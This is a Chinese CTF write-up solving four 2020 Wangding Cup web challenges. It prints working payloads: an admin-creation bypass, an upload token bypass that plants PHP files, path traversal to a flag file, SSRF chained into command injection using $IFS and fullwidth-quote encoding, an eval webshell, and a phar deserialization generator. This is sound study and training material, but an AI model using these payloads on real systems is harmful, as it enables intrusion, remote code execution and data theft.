[網鼎杯 2020 半決賽]faka
給了sql文件,本地導入一下可以看到admin的md5密碼

解密得到密碼:
admincccbbb123
這里還有一種方法:
/admin/Index/info處未授權訪問

可以直接添加后台用戶,但是不是超級管理員,數據庫中注意到admin的authorize為3,那么直接在post中添加&authorize=3即可添加超級管理員

后台登陸后找文件上傳點
抓個包

它會根據隨機傳入的md5和文件名生成一個token
public function upstate()
{
$post = $this->request->post();
$filename = join('/', str_split($post['md5'], 16)) . '.' . pathinfo($post['filename'], 4);
// 檢查文件是否已上傳
if (($site_url = FileService::getFileUrl($filename))) {
$this->result(['site_url' => $site_url], 'IS_FOUND');
}
// 需要上傳文件,生成上傳配置參數
$config = ['uptype' => $post['uptype'], 'file_url' => $filename];
switch (strtolower($post['uptype'])) {
case 'qiniu':
$config['server'] = FileService::getUploadQiniuUrl(true);
$config['token'] = $this->_getQiniuToken($filename);
break;
case 'local':
$config['server'] = FileService::getUploadLocalUrl();
$config['token'] = md5($filename . session_id());
break;
...
。
}
$this->result($config, 'NOT_FOUND');
}
token為
md5($filename . session_id())
繼續發包,來到文件上傳邏輯處

代碼
public function upload()
{
$file = $this->request->file('file');
$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$md5 = str_split($this->request->post('md5'), 16);
$filename = join('/', $md5) . ".{$ext}";
if (strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts'))))) {
return json(['code' => 'ERROR', 'msg' => '文件上傳類型受限']);
}
// 文件上傳Token驗證
if ($this->request->post('token') !== md5($filename . session_id())) {
return json(['code' => 'ERROR', 'msg' => '文件上傳驗證失敗']);
}
// 文件上傳處理
if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) {
if (($site_url = FileService::getFileUrl($filename, 'local'))) {
return json(['data' => ['site_url' => $site_url], 'code' => 'SUCCESS', 'msg' => '文件上傳成功']);
}
}
return json(['code' => 'ERROR', 'msg' => '文件上傳失敗']);
}
其中會驗證post的token是否和md5($filename . session_id())相等
filename可控
$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$md5 = str_split($this->request->post('md5'), 16);
$filename = join('/', $md5) . ".{$ext}";
所以這個if能繞,跟到$file->move函數
public function move($path, $savename = true, $replace = true)
{
...
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
...
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);
return $file;
}
$this->buildSaveName獲取文件名
protected function buildSaveName($savename)
{
// 自動生成文件名
...
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}
return $savename;
}
這個if表示如果name中有點則直接返回,參數$savename是md5[1],也就是說如果md5[1]=xxx.php,那么文件名就為xxx.php
所以,$md5可控,$filename可控,token也可控
step1

step2


或者拿到權限之后直接任意文件下載
/manage/Backup/downloadBak?file=../../../../../../flag.txt
function downloadBak() {
$file_name = $_GET['file'];
$file_dir = $this->config['path'];
if (!file_exists($file_dir . "/" . $file_name)) { //檢查文件是否存在
return false;
exit;
} else {
$file = fopen($file_dir . "/" . $file_name, "r"); // 打開文件
// 輸入文件標簽
header('Content-Encoding: none');
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: " . filesize($file_dir . "/" . $file_name));
header('Content-Transfer-Encoding: binary');
header("Content-Disposition: attachment; filename=" . $file_name); //以真實文件名提供給瀏覽器下載
header('Pragma: no-cache');
header('Expires: 0');
//輸出文件內容
echo fread($file, filesize($file_dir . "/" . $file_name));
fclose($file);
exit;
}
}
[網鼎杯 2020 半決賽]BabyJS
主要代碼
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
通過post /debug去ssrf get /debug
get的debug有過濾
var u=req.query.url.replace(/[\"\']/ig,'');
繞黑名單方法很多,參考:
https://www.secpulse.com/archives/65832.html
payload1,單引號二次編碼一下繞
{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

payload2
{"url":"http://0177.0.0.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%2500"}
這串解出來正好是一個單引號
%EF%BC%87
造成命令注入

[網鼎杯 2020 總決賽]Novel
大概看一下代碼,upload文件上傳,back會備份文件,並且這題還實現了一個類似tp的路由,即:
/類/方法/
上傳一個txt
${eval($_GET[0])}
備份生成php


[網鼎杯 2020 總決賽]Game Exp
沒用的代碼很多,主要還是在register.php
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
include_once "../user.php";
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$mysql = new sqlhelper();
$password = md5($password);
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 獲取文件后綴名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小於 200 kb
&& in_array($extension, $allowedExts))
{
$filename = $username.".".$extension;
if (file_exists($filename))
{
echo "<script>alert('文件已經存在');</script>";
}
這個eval太明顯了
再加上文件上傳處有file_exists判斷,並且參數可控
$filename = $username.".".$extension;
phar反序列化
<?php
class AnyClass{
var $output = 'eval($_REQUEST[0]);';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭
$o = new AnyClass();
$phar->setMetadata($o); //將自定義meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
rename('phar.phar','1.jpg');
?>
上傳后再次注冊,用戶名為phar://./x.jpg/test

